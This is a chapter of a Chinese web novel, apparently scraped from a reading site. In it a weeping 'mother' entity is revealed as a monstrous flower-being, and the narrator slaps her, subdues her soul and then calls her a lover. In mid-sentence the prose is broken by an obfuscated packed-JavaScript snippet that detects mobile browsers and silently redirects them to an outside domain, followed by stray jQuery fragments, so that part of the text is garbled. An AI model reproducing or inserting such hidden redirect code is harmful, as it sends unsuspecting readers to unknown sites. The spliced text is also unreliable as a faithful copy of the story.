26. 不同
作品:《溺爱倦怠期[GB]》 ·
家里的门被不断敲响,似乎不开门就丝毫没有停歇的架势。
我嗅到了熟悉的芬芳,干脆叹了口气起身,关闭了视频通话后,打开了房门。
门外站着的是裴叙晚,泪水涟涟的裴叙晚望上去真是好不可怜。
祂在低声啜泣着,哭哭啼啼将泪水轻柔地用指腹擦拭干净后,又上气不接下气的和我诉说。
“呜,被宝宝抛弃了。宝宝、宝宝也不要礼物。呜呜呜,我真是个不称职的妈妈。”
我闻到了来自裴叙晚身上熟悉的那股香气,那是令人安心的温暖味道。
只是面前的祂处于一种无比伤心的状态,看向我时泪眼朦胧。
偏生哭起来又格外好看,双眸噙泪,睫羽轻颤,泪珠在眼眶里不断打着转,却又倔强地始终不肯落下。
我能望见祂的脸颊上已经有了几道浅显的泪痕,梨花带雨啜泣的样子真是让人无限怜惜。
但我只是抱臂倚靠在门边,看着裴叙晚还在抽噎的样子,根本听不清祂到底说了些什么。只是从中隐隐约约捕捉到了一点重要字眼。
我哑了嗓子正要开口说些什么,面前的裴叙晚已经佯装不稳一头栽倒在了我的怀中。
祂不重,或者说根本没有任何重量,轻飘飘的落在我的怀中,就像是一张薄薄的纸片。
风一吹,就能将祂完全打散。
熟悉迷人的香气又落入了我的鼻尖,我只好伸手接住了祂,将还在闹着头疼的裴叙晚扶到了沙发上。
祂的走路姿势很不稳,稍一不慎,就会有摔倒的风险。
在沙发上端坐的裴叙晚,终于睁开了刚刚紧闭的双眼。脸色是与唇色相同的惨白,祂望向我不好意思地笑笑。乖乖接过了我递给祂的一杯冰水,安安静静地喝着。
玻璃杯被祂放在了一旁,裴叙晚抬头看向了我,声音暗哑。
“对不起,让你看到我这样的一面。我只是不甘心,为什么、为什么我把宝宝努力生下来,可还是得不到祂的喜欢。明明、明明我才是和祂血溶于水的妈妈…”
裴叙晚的声音很急促,祂攥紧了丝绸裙边,想要平复自己的心情,但不争气的泪水还是顺着眼眶砸落在了膝盖上。
我站在沙发的边缘迟迟没有开口。看着裴叙晚放在茶几上的玻璃杯,我这才看清杯中又多了点不一样的东西。
那里不知什么时候横窝着一枚圆润的花瓣,正随着裴叙晚的呼吸抖动着。
祂每啜泣一下,花瓣都会变得更加枯萎。
我撇开了自己的目光,面前的裴叙晚大概是恢复了一点,拎着那包装精美的礼品袋,朝我轻轻说道:“反正这个我以后也用不上了,就送给你吧。”
我接过了这袋子,里面沉甸甸的。
在盛放着香水瓶的盒子底下,我抽出了一件自己的衣服。
没错,属于我自己的,被叠到四四方方的衣服。
看款式,应该是很早以前在大扫除的时候我就丢弃掉的。
我抽出了那件衣服,狐疑的目光落在了裴叙晚的身上。
偏偏后者现在是惊讶地捂住嘴巴佯装出毫不知情,我步步逼近,勾着那衣服就要丢在了祂的脸上。
在我冷冷目光的注视下,裴叙晚最终破防,往我凑近了些,叹了口气说出了缘由。
“宝宝,你再看看。”
我再看看?我又再看些什么呢?
与我的这件衣服连接在一起的,是属于裴叙晚的衣物。
两条纤细的肩带交织缠绕在一起,青涩与成熟,两种截然不同的风格不断在我的眼前飘荡。
我把两件衣服一起甩在了裴叙晚的脸上,祂搅动着手指音量很小。
“对不起宝宝,妈妈也不是故意的。”
“不是故意的?妈妈你是在说笑吗?难道我就是故意的了吗?”
我哑然失笑,学着祂的语气没好气的开口。
我的手挥到了祂的面前,直接一巴掌扇了过去。
清脆的巴掌声久久回荡在客厅,祂那张恬静的脸上被我完全扇打到一旁。
柔软的肌肤本该留有鲜红一片,可是并没有。
裴叙晚等待这一刻实在是太久,当我的手掌完全扇打下去的那一瞬。
馥郁的香气沁入了我的鼻尖,祂的脸瞬间分开了。
·
撕裂的两边脸蛋就像是花瓣开合般,将我的手掌完全吞噬了进去。
下坠,不断下坠,我全部的意识就像是一只无形的手,穿过了裴叙晚柔软虚幻的身躯,最终触碰到了那颗还在为我不断跳动的心脏。
祂的语气向来黏黏糊糊,只是如今听起来音调怪异,尖锐的尾音泛着不正常的粘稠感,这绝对不会是常人该有的声音,也绝对不会是从嘴里发出来的。
“宝宝你别生气嘛…”
祂慢慢悠悠的同我说着,开始提起了自己的裙边。
祂的身下,属于人类的肢体已经不复存在。
取而代之的则又是庞大柔软的躯体,表面溢满了斑斓的色彩。颜色艳丽到只要看上一眼,就会中毒死去。
“乖宝宝,现在妈妈的一切都给你。这么久没有见,妈妈已经很听话了,已经收起了会划伤你的棱角,还染上了你最喜欢的色彩。妈妈都听你的,都听你的,不要再把妈妈丢掉好不好?”
祂说得伤心欲绝,为了证明自己,裴叙晚又将祂的双手伸到了我的面前。
的确如祂所说的那样,已经乖乖剪去了指甲。只是这鲜红的甲油颜色,竟还是晃动着往外滴落下液体。
“妈妈你还是理解错了我的意思,怎么能用自己的鲜血去涂抹指甲呢?”
“可是、可是妈妈觉得宝宝应该会喜欢的呀,以前宝宝不是最喜欢、最喜欢这样了吗?”
我按住裴叙晚想要挣脱的双手,一点点上移握住了祂的手指。
祂用鲜血渲染自己的指甲没错。可祂根本没有所谓的指甲,指腹表面完全血肉模糊,顺着我的视线,那里还有血液的流淌而出。
我哑然失笑,手指轻轻抚摸过祂的脸颊。
可裴叙晚的脸颊本该是温暖的实体,此刻却是没有。
我的手掌穿透而过,就像是吹拂过了一片柔软的云彩。
“宝宝,你是还在生妈妈的气吗?”
裴叙晚慢吞吞地说着。裙边绚烂的光晕像是被寄生的花瓣,卷曲的叶边被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463871|183882||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昆虫啃食到了坑坑洼洼。
我的意识在不断地坠落,最终,我抓住了裴叙晚的手臂,像是拽住了细长的藤蔓。
我知道裴叙晚不会像时砚礼那样,需要小心翼翼地靠近我。
祂喜欢把自己盛放到满溢的爱,波涛汹涌的爱意,全部拿好了献给我,呈上来,努力去讨好我的欢心。
祂不会对我有一丝一毫的保留,祂永远都是将自己的灵魂全部向我敞开,向我暴露出祂的所有。
我的力量随着裴叙晚的共鸣而越来越强大,祂那庞大的身躯逐渐趋于了透明,最后被我像是揉搓橡皮泥那样,诞生下了新的花朵。
实际上,我永远都不会同情裴叙晚,永远都不会。
因为这一切早就的根本就是祂的咎由自取。
我的意识化为了臂膀,我的手搭在了裴叙晚滑腻柔软的腰边,伸手以拥抱的姿势,将祂往自己的方向扯了开来。
大约是注意到了我的亲近。裴叙晚的眼眸明亮了片刻,有什么晶莹的水珠顺着祂泛红的眼尾缓缓下滑。
我猜,那大抵是祂的泪水。
但我也懒得多想,继续用我的力量,去探寻祂隐藏着的一切。
裴叙晚大概真的以为我会回心转意吧。无数只眼睛全是亮晶晶的,青白色的瞳仁全都盯着我看。
无奈之下,我只好凑到了祂的面前,柔和的笑着。
然后在祂稍稍松懈下来的刹那,直接强行摁住了祂的肩膀,让祂的整个灵魂都臣服于我的力量之下。
裴叙晚没有说话,祂的尖叫暴露在了我的脑海里。
祂低头望向我,想要拥抱我想要安抚我,朦胧如烟雨江南的眼眸里,沉沦了更多我无法读懂的情绪。
一叶扁舟最后会被风雨打翻,我只能看到祂的眼眸里不断翻涌着。
裴叙晚应该会想到,我每次这么拥抱祂时,根本就连一个亲吻都不曾有过。
自私如祂。多年的窥探下来,裴叙晚也彻底明白了一件事情。
那就是我在对待时砚礼,对待那个该死的人类时,是会亲吻的。吻是柔软而又温馨的。
这般亲昵的举动,却是从未出现在祂身上。
裴叙晚不服,浓烈的酸涩感让祂的浑身感觉到抽痛。
祂努力地向我靠近,想要更加卖力的去弄懂我的所思所想,去渴望讨得一枚来自于我的亲吻。
“宝宝,为什么,为什么呢…”
祂近乎是疯狂地朝我呢喃着,想要低头与我亲吻。
祂的吐息如兰,细碎的发丝擦过了我的脸颊,那是痒痒的触感。
我望着裴叙晚不再柔情似水的眼眸,只是用手指点在了祂分开的唇瓣上,旋即立刻收了回来。
裴叙晚很委屈,祂的眼眸很快积蓄上了一层浅浅的血水。
“为什么宝宝就可以、就可以奖励哥哥亲吻,而妈妈就不行了呢?明明妈妈也想要、也想要亲亲呀…”
“因为妈妈不一样。”
我抚摸着裴叙晚的脸颊,懒懒地打断了祂的话语。
裴叙晚的表情充满疑惑,我抬头亲吻了祂额前盛放的花束,继续说道:
“因为你是我的恋人啊。”

